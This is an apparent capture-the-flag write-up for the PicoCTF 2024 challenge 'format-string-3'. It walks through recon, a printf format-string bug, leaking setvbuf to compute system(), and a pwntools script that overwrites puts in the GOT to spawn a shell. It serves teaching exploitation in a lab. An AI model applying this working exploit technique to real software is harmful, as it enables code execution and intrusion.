PicoCTF 2024: format-string-3

Recon

This challenge was given along with a libc and and interpreter file:

$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ file ld-linux-x86-64.so.2 
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped

We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file:

➜  fmt3 venv
$ checksec format-string-3
[*] '/home/qelal/PicoCTF/fmt3/format-string-3'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$ checksec libc.so.6
[*] '/home/qelal/PicoCTF/fmt3/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

That is quite interesting. We can now take a look at the source code:

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() { // setting up the chall }

void hello() {
    puts("Howdy gamers!");
    printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
    char *all_strings[MAX_STRINGS] = {NULL};
    char buf[1024] = {'\0'};

    setup();
    hello();    

    fgets(buf, 1024, stdin);    
    printf(buf);

    puts(normal_string);

    return 0;
}

Two interesting things here: - the first is that there is an obvious format string vulnerability on the printf(buf) call, which allows for arbitrary read/write as we know; - the second is that we call puts() on /bin/sh.

Of course showing /bin/sh to the screen isn’t nefarious, but we can take advantage of this argument placement and change puts() to something else..

The idea here is that we will have to overwrite an entry in the GOT, to change the puts("/bin/sh") call to system("/bin/sh") and get a shell.

Finding the stack user input offset

First we’ll see where our user input ends up on the stack, by writing a noticeable “A” chain and then spamming %p format specifiers until we get there:

$ ./format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
/bin/sh

It seems to be at position 38. Just to be sure:

$ ./format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh

Yep, that is our offset.

Leaking libc addresses

One thing we notice from the program’s behavior is that it gives us the address for a random C function, setvbuf. It is not really useful for us in itself, but we can use this knowledge to leak the libc base address, or directly another function’s address.

I chose not to bother with the libc base here, and go straight for system().

So, from static analysis on the libc.so.6 file, we can find the offsets for setvbuf and also for system:

.text:000000000004F760 system          proc near               ; DATA XREF: LOAD:000000000000B160↑o
[...]
.text:000000000007A3F0 setvbuf         proc near               ; CODE XREF: setlinebuf+D↓j

We have both offsets. Knowing this, we can establish the difference between those two symbols, and get the address we want from setvbuf’s leak:

difference = 0x7A3F0 - 0x4F760 = 0x2AC90
system() = setvbuf() - 0x2AC90

Perfect! Now when the program will leak setvbuf, we will simply catch the address, and derive system from it.

Finding puts in the GOT

The last information we need for the exploit to succeed is the address of puts. We can find it using dynamic analysis with Pwndbg: breaking when we’re in the program and noting the address from here:

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64 
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64 
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64 
[0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64 

So, in the GOT, puts is at 0x404018. No PIE so it stays the same everytime.

Automating the format string exploitation

Now we know that we have to write the address for system (that we leaked), instead of puts, at offset 38 on the stack. Writing a manual exploit is long and boring (although it’s important to grasp the knowledge of how the format string arbitrary write works, but once you’ve done it, I’d consider using the automated helper from Pwntools to save some time) so we’ll go with fmtstr_payload:

io = start()
io.recvline()

setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0)
system_addr = setvbuf_addr - 0x2AC90

puts_plt_addr = 0x404018

payload = fmtstr_payload(38, {puts_plt_addr: system_addr})

with open("payload", "wb") as file:
    file.write(payload)

io.sendline(payload)
io.interactive()

And finally we get our shell:

$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x1a bytes:
    b'picoCTF{G07_G07?_[REDACTED]}'